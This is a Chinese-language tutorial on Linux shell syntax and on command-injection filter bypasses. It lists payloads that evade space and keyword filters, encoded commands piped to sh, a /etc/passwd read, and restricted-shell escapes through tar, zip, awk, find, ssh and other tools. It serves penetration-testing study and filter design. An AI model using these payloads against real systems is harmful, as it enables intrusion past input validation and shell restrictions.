Linux 命令注入方式总结和常见过滤绕过
SHELL 常用字符
|
管道符号,将上一条指令的标准输出作为下一条指令的标准输入,正则表达式中表示 “或者”
&
将一条命令放在后台执行,或表示标准输出和标准错误输出
||
表示 “或者”,连接两条命令,当前一条命令执行失败后面的命令才会执行
&&
表示 “和”,当前一条命令执行成功后面的命令才会执行
;
分号拼接连续几条命令,就算前面的命令执行失败后面也会执行
$
美元符号用来获取变量的值
()
组合命令执行,称为指令群组,可以结合分号执行多条命令
(ls -la ; ifconfig)
shell 中针对指令群组会产生 subshell 执行
`
反引号表示 “指令替代”,将反引号包裹的命令输出结果作为另一个指令的输入
$()
也表示指令替代
‘
单引号将包裹住的内容视为字符串,其中 $ 等符号不会被进一步处理
“
双引号和单引号功能相同,但是双引号包裹的字符串中 $ 等符号会被拓展为变量
(())
连续两个小括号可以用来进行算数运算,类似 let 指令
{}
大括号可用于字符组合
cat {./te,st}{st,st}
cat {./te,st}{st,st}
最终会生成
cat ./test
cat ./test
cat ./stst
cat ./stst
另用于实现匿名函数
{ cmd1; cmd2; cmd3;}
第一条命令和大括号之间要有空格,每条命令后要有分号
正则表达式中表示范围
[]
中括号常用于流程控制,起判断作用,在正则表达式中表示范围或者集合
cat ./te[0-z]t
但中括号中不能使用 && 等逻辑字符
[[]]
双中括号用于字符串比较测试,允许在其中使用 || && 等逻辑符号
>
大于号表示输出重定向,如果目标文件已经存在则覆盖其中的内容
echo "test" > test
shell 中提供了叫做 noclobber 的特性,它可以防止重定向不经意间修改了目标文件,打开此特性后如果进行重定向覆盖文件,shell 会报告错误而不覆盖目标文件。
iot@ubuntu:~/Desktop$ set -o noclobber
iot@ubuntu:~/Desktop$ echo "overwrite" > test
bash: test:无法覆盖已存在的文件
iot@ubuntu:~/Desktop$ set +o noclobber
iot@ubuntu:~/Desktop$ echo "overwrite" > test
iot@ubuntu:~/Desktop$
<
小于号表示输入重定向
>>
双大于号表示输出重定向追加
<<
cmd << end
双小于号从标准输入中读取输入,直到遇到指定的字符串(end)结束
如果输入不使用引号包裹,则命令会执行变量替换,如果使用 <<- ,则读取的时候会忽略每行输入前面的 tab
通配符
字符
解释
*
匹配任意长度任意字符
?
匹配任意单个字符
[list]
匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list]
匹配指定范围外的任意单个字符或字符集合
[!list]
[^list]
匹配 srt1 或者 srt2 或者更多字符串,也可以是集合
IFS
由 < space > 或 < tab > 或 < enter > 三者之一组成
CR
由 < enter > 产生
!
执行 history 中的命令
专用字符集
字符
意义
[:alnum:]
任意数字或者字母
[:alpha:]
任意字母
[:space:]
空格
[:lower:]
小写字母
[:digit:]
任意数字
[:upper:]
任意大写字母
[:cntrl:]
控制符
[:graph:]
图形
[:print:]
可打印字符
[:punct:]
标点符号
[:xdigit:]
十六进制数
[:blank:]
空白字符
cat ./te[[:alpha:]]t
重定向组合应用
cmd >| file 和单个大于号功能相同,但它可以忽略 noclobber 的限制
:> file 将文件截断为 0 长度,文件不存在则创建
cmd >&n 将命令输出到文件描述符 n
cmd m>&n 把输出到文件描述符 m 的信息重定向到 n
字符过滤绕过
空格
用 $IFS 绕过
cat$IFStest
cat${IFS}test
cat$IFS$9test
用重定向符号绕过
cat cat<>test bash 中使用大括号绕过 {cat,./test} 环境变量绕过 iot@ubuntu:~/Desktop/test$ x=$'cat\x20test'&&$x test iot@ubuntu:~/Desktop/test$ x=$'cat\x09test'&&$x test 关键字绕过 用 $@ c$@at ./test 用环境变量绕过 x=c;y=a;z=t;$x$y$z test 用编码绕过 # 1. base64 iot@ubuntu:~/Desktop/test$ echo "cat test" | base64 Y2F0IHRlc3QK iot@ubuntu:~/Desktop/test$ echo "Y2F0IHRlc3QK" | base64 -d | sh # 2. hex iot@ubuntu:~/Desktop/test$ echo "cat test" | xxd -ps 63617420746573740a iot@ubuntu:~/Desktop/test$ echo "63617420746573740a" | xxd -r -p | sh # 3. printf # printf 支持多种编码输出 iot@ubuntu:~/Desktop/test$ $(printf '\154\163') test iot@ubuntu:~/Desktop/test$ $(printf '\x6c\x73') test 单引号和双引号 iot@ubuntu:~/Desktop/test$ c"a"t ./test test iot@ubuntu:~/Desktop/test$ cat ./t'e'st test 反斜线 iot@ubuntu:~/Desktop/test$ c\at ./t\e\st test 用环境变量绕过 # 绕过斜线 cat ${PATH:0:1}etc${PATH:0:1}passwd # 特殊变量 ${IFS} # 分隔符 ${PS2} # > ${PS4} # + ${9} # 空 其他特殊用法 问号 cat ./te?? [] […] 匹配括号中的任一个字符 cat ./te[abcdsf]t {} {…} 匹配大括号中所有模式 cat ./te{a,e,s,t,f}t cat ./te{a..z}t […] 和 {…} 的区别 […] 当文件不存在时它会变成普通的字符串 iot@ubuntu:~/Desktop$ cat ./te[abcdf]t cat: './te[abcdf]t': 没有那个文件或目录 而 {…} 当文件不存在时依然会展开 iot@ubuntu:~/Desktop$ cat ./te{a,e,t,f}t cat: ./teat: 没有那个文件或目录 cat: ./teet: 没有那个文件或目录 cat: ./tett: 没有那个文件或目录 cat: ./teft: 没有那个文件或目录 通配符 ? * 等通配符不能匹配 / 可以创建文件名包含通配符的文件 iot@ubuntu:~/Desktop$ touch 'tes*' iot@ubuntu:~/Desktop$ ls tes* 'tes*' test 星号 直接执行 * 相当于执行 $(dir *) alias alias 覆盖指令 iot@ubuntu:~/Desktop/test$ cat test test iot@ubuntu:~/Desktop/test$ alias cat="pwd" iot@ubuntu:~/Desktop/test$ cat test /home/iot/Desktop/test 参数注入/rbash escape 检查当前 shell echo $SHELL vi/vim、ed、ftp、gdb、more、less、man 等文本编辑/显示工具 都可以通过输入 !/bin/sh 获取 shell,vi/vim 中要先输入冒号。 tar tar 具有一个 checkpoint 参数,这个参数指定每写入 n 个记录之后设置一个检查点,在检查点可以执行任意操作。 tar -cf ./exp.tar ./* --checkpoint=1 --checkpoint-action=exec="/bin/bash" zip zip 有 unzip-command 参数,可以用于执行命令 zip ./test.zip ./test -T --unzip-command="sh -c /bin/bash" scp scp -S 参数指定一个程序用来加密链接,这里可以指定可控的脚本或程序 scp -S ./1.sh ./test root@x.x.x.x:/tmp awk awk 'BEGIN {system("/bin/sh")}' find find 的 exec 参数可以用来执行命令 find ./ -name test -exec sh \; ssh ssh -t 参数可以指定在目标上执行的命令 ssh iot@192.168.152.129 -t "ls" ProxyCommand 选项 ssh -o ProxyCommand="sh -c ./1.sh" 127.0.0.1 git git help status :/bin/sh nmap nmap 早期版本(before May/2009)有一个 –interactive 参数,执行后进入交互式终端,然后输入 !sh 即可获取 shell。 tcpdump tcpdump 有 -z 参数,可以执行任意程序,但是不能控制参数,tcpdump 默认提供一个参数即保存的文件名 ➜ test sudo tcpdump -n -i ens33 -G1 -w ./test -z gzip tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes gzip: ./test.gz: Permission denied gzip: ./test.gz: Permission denied gzip: ./test.gz: Permission denied